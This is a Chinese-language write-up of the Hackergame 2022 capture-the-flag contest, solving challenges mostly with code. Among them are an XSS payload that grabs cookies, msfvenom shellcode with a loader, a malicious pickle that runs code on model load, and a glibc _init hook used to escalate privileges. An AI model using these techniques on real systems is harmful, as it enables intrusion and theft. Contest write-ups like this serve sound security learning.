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Hackergame 2022 Writeup

前言

又是一年 Hackergame,题目依然高质量,依然对萌新友好,各种梗也依然玩得飞起。

今年做出的题目比去年多了,名次和分数也有提高,一样也学到了不少东西,总之就是很开心(

签到

F12看到 window.location = "?result=" + result;,填入2022并拷到地址栏,签到完毕。

猫咪问答喵

  1. 找一篇 NEBULA 战队的新闻稿。https://cybersec.ustc.edu.cn/2022/0826/c23847a565848/page.htm

  2. B站找活动视频,按弹幕找时间戳,脑补拼写后等谷歌自动纠正。

    B站截图

    原来大家都听不懂啊

  3. 搜索 firefox windows 2000。https://support.mozilla.org/en-US/questions/1052888

  4. 搜 Linux CVE-2021-4034 能看到这么一个 patch。 然后再根据 patch 内容 git blame fs/exec.c

  5. 直接用 shodan 搜。

  6. 搜中科大网络通,从FAQ得到关键词"中国科学技术大学校园网络运行及通信费用分担办法"。 再次搜索得到这篇通知,然后顺着官方文件里找。

家目录里的秘密

  1. rgrep
  2. 继续 rgrep flag 搜到 rclone 配置文件,试了一下 base64 -d 解不出明文,猜测加密了,于是找了个在线解密器

HeiLang

写一个转换脚本,将赋值部分转回标准大蟒蛇语言。

f = open('data.txt', 'r')
f2 = open('data_cleaned.txt', 'w')
for line in f:
    line = line.strip()
    left, right = line.split('[')[1].split(']')
    left = [int(word.strip()) for word in left.split('|')]
    right = right.split(' = ')[1]
    for num in left:
        f2.write(f'a[{num}] = {right}\n')

Xcaptcha

本来想写 User Script 的,出于对 js 的抵制还是 requests + Beautiful Soup 吧。

from bs4 import BeautifulSoup
import requests

TOKEN = ''

s = requests.Session()

s.get('http://202.38.93.111:10047/xcaptcha', params={'token': TOKEN})
r = s.get('http://202.38.93.111:10047/xcaptcha')

soup = BeautifulSoup(r.text, features='html.parser')

ans = []

for div in soup.find_all('div', {'class': 'form-group'}):
    q = div.label.text.split(' 的结果是?')[0]
    op1, op2 = q.split('+')
    ans.append(int(op1) + int(op2))

r = s.post('http://202.38.93.111:10047/xcaptcha', data={'captcha1': ans[0], 'captcha2': ans[1], 'captcha3': ans[2],})

print(r.text)

旅行照片 2.0

图片分析

去年没有 EXIF 不开心,今年有了(

第一问所有题目可以通过 Windows 右键、属性找到。

社工实践

  1. 搜图片上的关键词 chiba lotte marine 查到了个棒球队,补了个 stadium 的关键词,能查到图中的体育馆叫 Zozo Marine Stadium。

    题目问的是拍摄地点,看地图应该是旁边的 APA Hotel。

  2. 从 EXIF 可以知道拍摄手机使用 sm6115,再加上小米的关键词能查到手机的规格。 做完下一问才发现长和宽写反了。

  3. 因为图片拍摄地点在千叶,自然而然想到和成田机场有关系。 到成田机场官网试了半天周六的出发和抵达的航班后无果,无奈找了个航班追踪网站开了免费试用,然后发现是羽田

猜数字

阅读源代码,找到判断逻辑。

var isLess = guess < this.number - 1e-6 / 2;
var isMore = guess > this.number + 1e-6 / 2;
var isPassed = !isLess && !isMore;

那么有没有一个数字能同时让 isLessisMore 不成立呢,那就只有 NaN 了。

前端输入不了字母,手动发个请求吧。

<state><guess>NaN</guess></state>

LaTeX 机器人

上一次用 LaTex 还是上一次呢。回想起当初学 LaTex 也是我一时兴起,想为考试自己准备一张精致的 Formula Sheet。 而如今 LaTeX 的基本语法都忘了。。。

第一问使用 \input{/flag1} 就能读,一开始没搜到搞复杂了。。。

\newread\myread
\openin\myread=/flag1
\read\myread to \command

\myread

第二问有特殊符号,用 \input 会报错。 后来查到可以用 \catcode 重写字符种类。

\catcode`#=12  \catcode`_=12  \input{/flag2}

Flag 的痕迹

找了个在线 DokuWiki Demo,看了一圈后台能干什么,发现线上环境基本都禁用了。 于是去翻代码看看有什么 API。

这个 diff 看起来很有用的样子,线上试了可以用诶!

diff

安全的在线测评

无法 AC 的题目

静态数据没设置权限,直接读就可以。

#include <stdlib.h>

int main()
{
    return system("cat ./data/static.out");
}

动态数据

阅读判题脚本发现生成的动态数据权限会改成 700,直接读是行不通了。

然而编译时并没有用 runner 账户,也就是说执行 gcc 的账户就是生成数据的账户,猜测有办法在编译过程中将数据嵌入程序。

搜到这个能将文本文件内容作为变量嵌入源码,那就用他了。

剩下的只需要根据输入判断输出的内容了。因为判题顺序是已知的,这里我偷懒用了状态文件来决定输出。

#include <stdio.h>
// 这里曾经有接近500行的 incbin.h

INCTXT(StaticAns, "./data/static.out");
INCTXT(Dynamic0Ans, "./data/dynamic0.out");
INCTXT(Dynamic1Ans, "./data/dynamic1.out");
INCTXT(Dynamic2Ans, "./data/dynamic2.out");
INCTXT(Dynamic3Ans, "./data/dynamic3.out");
INCTXT(Dynamic4Ans, "./data/dynamic4.out");

int get_state()
{
    if (fopen("./temp/state_0", "r") == NULL)
    {
        return 0;
    }
    if (fopen("./temp/state_1", "r") == NULL)
    {
        return 1;
    }
    if (fopen("./temp/state_2", "r") == NULL)
    {
        return 2;
    }
    if (fopen("./temp/state_3", "r") == NULL)
    {
        return 3;
    }
    if (fopen("./temp/state_4", "r") == NULL)
    {
        return 4;
    }
    if (fopen("./temp/state_5", "r") == NULL)
    {
        return 5;
    }
    exit(1);
}

int write_state(int state)
{
    char filename[100];
    sprintf(filename, "./temp/state_%d", state);

    FILE *fp = fopen(filename, "w");

    if (fp == NULL)
    {
        exit(2);
    }

    fclose(fp);
}

int main()
{
    int state = get_state();
    switch (state)
    {
        case 0:
            printf("%s", gStaticAnsData);
            break;
        case 1:
            printf("%s", gDynamic0AnsData);
            break;        
        case 2:
            printf("%s", gDynamic1AnsData);
            break;
        case 3:
            printf("%s", gDynamic2AnsData);
            break;  
        case 4:
            printf("%s", gDynamic3AnsData);
            break;
        case 5:
            printf("%s", gDynamic4AnsData);
            break;
    }

    write_state(state);
    return 0;
}

线路板

下载 KiCad,隐藏几个不需要的层,再勾选 "Show lines in outline mode" 就看到了。

pcb flag

Flag 自动机

ida 搜索 flag,看到这么一个函数。在满足一定 恶臭 条件时候后会调 401f8a 这个函数生成 flag 再输出。 不高兴 patch 程序了,那就下一个断点跟吧。

flag 函数

run 了一下,非但没断下还自己退了。看了看其他函数发现有检测 debugger,于是改用 x64dbg + ScyllaHide 单步。

x64dbg

剩下来只需要对着 ida 伪代码,通过改寄存器的方式更改跳转目标地址,再等生成 flag 后直接从内存里拷出来。

微积分计算小练习

看题目附件能知道是考察 xss。 找了个 xss cheatsheet 一个个试,发现 img onerror 的方式是有效的。 把下面当作姓名提交,再让 xss bot 去访问即可。

<img src=x onerror="greeting.append(document.cookie)">

杯窗鹅影

看到第二问需要任意命令执行,搜了一下 wine 里能直接调用 linux 的 syscall,自然而然想到可以写段汇编直接让程序直接去跑。

然而不知道我本地的 mingw gcc 有什么问题,inline asm 会报各种奇怪的错,最后采取跑 shell code 的方式。

shell code 则用 大家都爱的 msfvenom 生成,pwntools 生成的会 segfault,不高兴查了(

阅读文件:

msfvenom -p linux/x86/read_file PATH=/flag1 -f c

执行文件:

msfvenom -p linux/x64/exec CMD=/readflag -f c

Windows shell code copypasta:

#include <windows.h>

int main()
{
    unsigned char code[] = {};
    
    SYSTEM_INFO system_info;
    GetSystemInfo(&system_info);

    int page_size = system_info.dwPageSize;

    // prepare the memory in which the machine code will be put (it's not executable yet):
    const char* buffer = VirtualAlloc(NULL, page_size, MEM_COMMIT, PAGE_READWRITE);

    // copy the machine code into that memory:
    memcpy(buffer, code, sizeof(code));

    // mark the memory as executable:
    DWORD dummy;
    VirtualProtect(buffer, sizeof(code), PAGE_EXECUTE_READ, &dummy);

    // interpret the beginning of the (now) executable memory as the entry
    // point of a function taking no arguments and returning a 4-byte int:
    int ret = ((int(*)())buffer)();

    // free the executable memory:
    VirtualFree(buffer, 0, MEM_RELEASE);

    return ret;
}

后来知道第一问可以直接 fopen,第二问可以直接 ExecuteProcess,不乐(

蒙特卡罗轮盘赌

题目用 srand 将随机种子设定为了 time(0) + clock(),即当前的时间戳秒数 + 程序当前所用的tick数。

考虑到时间戳基本是已知,tick数一般也不高,那么打一个表就好了。

题目要求5次内猜对3次,则用前2次来确定当前的 seed,后三次查表。

二次元神经网络

调了半天参发现题目是 web 分类的(

pytorch 的模型是一个 zip,其中包含一些 metadata 和一个 pkl 文件。

解析 pkl 文件会调用 pickle 模块反序列化,而 pickle 加载数据的不安全性是文档里标明了的。 可以知道这道题在加载模型时是能执行代码的。

通过阅读推理部分代码可以看到,模型的推理结果会存到一个 json 里面。 那么只要修改输出结果的逻辑,用真实的图片覆盖调模型的推理结果,就可以拿到 flag。

构造 pickle 文件时搜到了有这么一个,可以方便地干坏事。

pkl 生成逻辑如下。

import pickleast
import torch
import glob
import base64
import json

model = torch.load('./checkpoint/model.pt')
image_result = {'gen_imgs_b64': []}

for file in sorted(glob.glob("images/*.png")):
    print(file)
    with open(file, 'rb') as f:
        image = base64.b64encode(f.read())
    image_result['gen_imgs_b64'].append(image.decode())

image_result = json.dumps(image_result)

hook = f'''
import json

image_result = \'{image_result}\'
def dump(obj, file):
    file.write(image_result)

json.dump = dump
'''

pkl = pickleast.dumps(pickleast.Sequence(pickleast.Exec(hook), model))

with open("./data.pkl", "wb") as f:
    f.write(pkl)

这里用了 pickleast.Sequence 将恶意代码和模型对象进行封装。 反序列化时会先执行我们的代码来输出原图,再返回原有的模型。

本来想在推理时运行 flask.abort() 来绕过模型验证流行的,不料 abort 抛出的异常被处理了,不开心

惜字如金

HS384

39位的 secret 被缩到了11位,只能按照规则爆。

提供的 secret 的 hash 也不完整。 为了防止判断是否爆破成功时出错,我这里只检查了开头和结尾来缩小可能的 secret 范围,再人眼观察。

from itertools import product
from hashlib import sha384
from difflib import get_close_matches

GIVEN_LEN = len('ustc.edu.cn')
TOTAL_LEN = 39

def gen_word(x, extra1='', extra2='', extra3=''):
    e0 = x[0] * 's'
    e1 = x[1] * 't'
    e2 = x[2] * 'c'
    e3 = x[3] * 'd'
    e4 = x[4] * 'c'
    e5 = x[5] * 'n'
    word = f'us{e0}t{e1}c{e2}{extra1}.ed{e3}u{extra2}.c{e4}n{e5}{extra3}'
    return word

def get_check_hash(word):
    digest = sha384(word.encode()).hexdigest()
    if digest.startswith('ec') and (digest.endswith('d') or digest.endswith('de')) and (digest.startswith('ecc') or digest.startswith('ec1')):
        print(f'{word} {digest}')
        f.write(f'{word} {digest}\n')
        f.flush()
    return digest

f = open('dict.txt', 'w')

if __name__ == '__main__':
    for x in product(range(TOTAL_LEN - GIVEN_LEN), repeat=len('stcdcn')):
        if sum(x) != TOTAL_LEN - GIVEN_LEN - 1:
            continue
        word = gen_word(x, 'e')
        get_check_hash(word)

    for x in product(range(TOTAL_LEN - GIVEN_LEN - 1), repeat=len('stcdcn')):
        if sum(x) != TOTAL_LEN - GIVEN_LEN - 2:
            continue
        word = gen_word(x, 'e', 'e')
        get_check_hash(word)

    for x in product(range(TOTAL_LEN - GIVEN_LEN - 2), repeat=len('stcdcn')):
        if sum(x) != TOTAL_LEN - GIVEN_LEN - 3:
            continue
        word = gen_word(x, 'e', 'e', 'e')
        get_check_hash(word)

    for x in product(range(TOTAL_LEN - GIVEN_LEN + 1), repeat=len('stcdcn')):
        if sum(x) != TOTAL_LEN - GIVEN_LEN:
            continue
        word = gen_word(x)
        get_check_hash(word)

置换魔群

RSA

由 RSA,ed ≡ 1 (modφ(N)

根据提示 "the order of the permutation group can be computed easily" 猜测对于置换群来说φ(N)就是它的阶。

试了一下就解出来了(

from permutation_group import permutation_element, permutation_group
from math import factorial
import re
import sympy
from pwn import *

def s2n(x): return [int(x) for x in re.findall(r"\-?\d+\.?\d*", x)]

p = remote('202.38.93.111', 10114)
p.sendline(b'TOKEN')
p.sendlineafter(b'your choice:', b'1')

p.recvline_contains(b'Just get it!')

for i in range(15):
    print(f'Run {i + 1}')
    p.recvuntil(b'RSA public key: ')
    n = int(p.recvline().split(b',')[0].split(b'= ')[1])
    print(f'{n=}')
    p.recvline_contains(b'my encrypted secret is here')
    m = s2n(p.recvline().decode())
    p.recvuntil(b'your answer:')
    e = 65537
    element = permutation_element(n, m)
    order = element.order()
    d = sympy.mod_inverse(e, order)
    plain = element ** d
    p.sendline(str(plain).encode())
    assert b'Good job' in p.recvline()

p.interactive()

光与影

fragment-shader 里 t{1,2,3,4}sdf 函数里有很多坐标,而 t5sdf 则没有,所以怀疑 t5sdf 是画盖住 flag 的矩形的。

那么看一下哪里用到了 t5sdf,把调用去掉吧。

float t1 = t1SDF(pTO.xyz);
float t2 = t2SDF((mk_trans(-45.0, 0.0, 0.0) * pTO).xyz);
float t3 = t3SDF((mk_trans(-80.0, 0.0, 0.0) * pTO).xyz);
float t4 = t4SDF((mk_trans(-106.0, 0.0, 0.0) * pTO).xyz);

float tmin = min(min(min(t1, t2), t3), t4);

链上记忆大师

记忆练习

找一个示例改一改,用 Remix IDE 编译后复制 bytecode。

pragma solidity =0.8.17;

contract MemoryMaster {
	uint256 old;

    function memorize(uint256 n) external {
		old = n;
	}

    function recall() external view returns (uint256) {
		return old;
	}
}

片上系统

引导扇区

用 PulseView 的 SD card (SPI mode) decoder,导出获得SD卡的内容。 strings 一下即可得到第一个 flag。

操作系统

通过对扇区内容的观察,猜测370110为代码段的开头,于是将第二段 binary 也就是操作系统拷出来进行反汇编。

反汇编时能看到代码段在 FF FF 前两个字节就断了,结合上面的观察说明扇区的分割符一共为23字节,去除后进行分析。

初步分析能看到操作系统一共由2个函数组成,一个是打印信息的函数,一个神秘函数。

在打印信息函数里,会依次打印 LED ON、Memory OK、Video outputed、flag{ 和 }。 flag的内容则通过调用神秘函数来打印,调用参数为 0x20001018、0xfeadae83、0xe0。

那么按照神秘函数的逻辑写一个程序跑跑看吧。

#include <stdio.h>
#include <cstdint>

void dec(uint32_t param)
{
    int8_t count = 0x1c;
    char buffer[1000] = {};
    char *pbuffer = buffer;

    do
    {
        uint8_t val1 = param >> (count & 0x1f) & 0xf;
        int8_t val2 = val1 > 9 ? 0x57: 0x30;
        *pbuffer = val2 + val1;
        pbuffer++;
        count -= 4;
    }
    while (count > -4);
    printf("%s", buffer);
}

int main()
{
    dec(0x20001018);
    dec(0xfeadae83);
    dec(0xe0);
    return 0;
}

通过运行发现其实是个简单的 hexdump。

传达不到的文件

探索容器环境,发现 /lib64 目录是可写的,那么就在 glibc 上做手脚吧。

这里使用重写 glibc _init 函数的方式,让 chall 执行时把 flag 文件的权限都改成 777,从而让普通用户能读取 flag。

步骤如下:

  1. 编译一个带_init函数的 hook

    #include <stdio.h>
    #include <sys/stat.h>
    
    void _init(void)
    {
        printf("Init");
        chmod("chall", 0777);
        chmod("flag2", 0777);
    }

    编译命令

    gcc -shared hook.c -fPIC -nostartfiles -o hook.so

    用了 nostartfiles 这个选项是为了防止 gcc 编译时候引入的初始化函数和我们的 hook 重名(而我们就是故意重名的),导致在链接阶段时报 multiple definition of `_init' 的错误。

  2. 把容器里的 glibc 下载下来,再用 patchelf 把自己的 hook 加到 glibc 的依赖里,从而覆盖调 glibc 本身的 _init 函数。

    cp libc.so.6 libc_orig.so.6
    patchelf --add-needed ./libc.so.6 hook.so
  3. 用 xdelta3 制作一个 patch

    xdelta3 -e -s libc_orig.so.6 libc.so.6 libc.patch
  4. 打包并上传相关文件到题目环境,开始偷flag

    本地

    7z a patch.zip hook.so libc.patch /usr/bin/xdelta3 /usr/lib/x86_64-linux-gnu/liblzma.so*
    cat patch.zip | xz | base64 > patch.txt

    远程

    base64 -d | xz -d > patch.zip
    # 粘贴 patch.txt 再 Ctrl + D
    unzip patch.zip
    mv liblzma.so* /lib64
    chmod +x xdelta3
    ./xdelta3 -d -s /lib64/libc.so.6 libc.patch /lib64/libc_patched.so.6
    mv /lib64/libc_patched.so.6 /lib64/libc.so.6
    ./chall
    # 此时我们已经可以读取 flag 内容了,Ctrl + C 掉
    strings chall | grep flag
    cat /flag2

后来看了其他选手 writeup,原来 /etc/ld.so.preload 对 suid binary 是有效的,用不着 patch glibc,还是做麻烦了。

看不见的彼方

考察 Linux 进程 IPC,不可以用 socket 和文件,那就用 shm 吧。

A.c

#include <stdio.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <string.h>
#include <stdlib.h>

int main()
{
    key_t key = ftok("shmfile", 65);
    int shmid = shmget(key, 1024, 0666 | IPC_CREAT);
    char *str = (char*) shmat(shmid, (void*)0, 0);

    memset(str, 0, 1024);

    FILE *fp = fopen("/secret", "r");
    if (fp == NULL)
    {
        exit(-1);
    }

    fread(str, 1, 64, fp);
    fclose(fp);
}

B.c

#include <stdio.h>
#include <sys/ipc.h>
#include <stdlib.h>

int main()
{
    key_t key = ftok("shmfile", 65);
    int shmid = shmget(key, 1024, 0666 | IPC_CREAT);
    char *str = (char*) shmat(shmid, (void*)0, 0);

    while (*str == '\0');
    printf("%s", str);
}

官方题解居然用 signal,又回想起操作系统课的一个大作业:分别用2个自定义信号和1个自定义信号实现 IPC,并且不允许用 sigqueue。

2个信号还比较容易解决:SIGUSR1 代表 bit 1,SIGUSR2 代表 bit 0。

1个信号就比较难受了,当时我用信号之间的延迟来区分 0 和 1,真是太 hack 了。。。

量子藏宝图

找个对照表就可以做第一问。

对照

import requests
import secrets
from bs4 import BeautifulSoup

def rand_char(iter, n):
    a = ''
    for _ in range(n):
        a += secrets.choice(iter)
    return a

# 生成的量子态的长度,太短了的话 key 可能不到 128bit
TOTAL_LEN = 40
alice_basis = rand_char('+x', TOTAL_LEN)
alice_result = rand_char('01', TOTAL_LEN)

print(f'{alice_basis=}')
print(f'{alice_result=}')

s = requests.Session()
r = s.get('http://202.38.93.111:18080', params={'token': ''})
r = s.post('http://202.38.93.111:18080/login', data={'alice_basis': alice_basis, 'alice_result': alice_result})
soup = BeautifulSoup(r.text, features="html.parser")
bob_basis = soup.find('input', {'id': 'bobBasis'})['value']
assert len(alice_basis) == len(bob_basis)

print(f'{bob_basis=}')
bob_result = ''

LUT = {('+', '0', '+'): '0', ('+', '1', '+'): '1', ('x', '1', 'x'): '1', ('x', '0', 'x'): '0'}

for i in range(TOTAL_LEN):
    g = (alice_basis[i], alice_result[i], bob_basis[i])
    c = LUT.get(g)
    if not c:
        continue
    bob_result += c

print(f'{bob_result=}')

r = s.post('http://202.38.93.111:18080/check_key', data={'alice_basis': alice_basis, 'alice_result': alice_result, 'bob_basis': bob_basis, 'bob_result': bob_result})

print(r.text)
with open('result.html', 'w') as f:
    f.write(r.text)

做完第一问后获得一张电路图,直接抄即可获得 flag。

企鹅拼盘

这么简单我闭眼都可以

16种情况,试一下就好。

大力当然出奇迹啦~

大力出奇迹,直接改程序代码进行爆破。

题目代码增加:

def set_inbits(self, inbits):
    self.inbits = inbits

爆破部分代码:

def chal(bitlength, obf):
    from itertools import product

    filename = f'chals/b{bitlength}{"_obf" if obf else ""}.json'
    with open(filename) as f:
        branches = json.load(f)

    app = BPApp(bitlength=bitlength, branches=branches)
    app.pc = len(branches)

    def try_challenge(inbits):
        app.set_inbits(inbits)
        app.watch_pc(app.pc)
        success = bool(app.board)
        if success:
            with open('result.txt', 'w') as f:
                f.write(f'{inbits}\n')
                bits = ''
                for p in inbits:
                    bits += str(p)
                f.write(f'{bits}\n')
            print(inbits)
            exit(0)

    for x in product(range(2), repeat=bitlength):
        try_challenge(x)

火眼金睛的小 E

第一问手做就可以了,两个函数非常相似,我是用的 ida 看流程图找分叉数相近的函数。

第二问以后很明显要自动化了。 angr 有 bindiff 的支持,不料 angr 加载不了题目的 elf,作罢。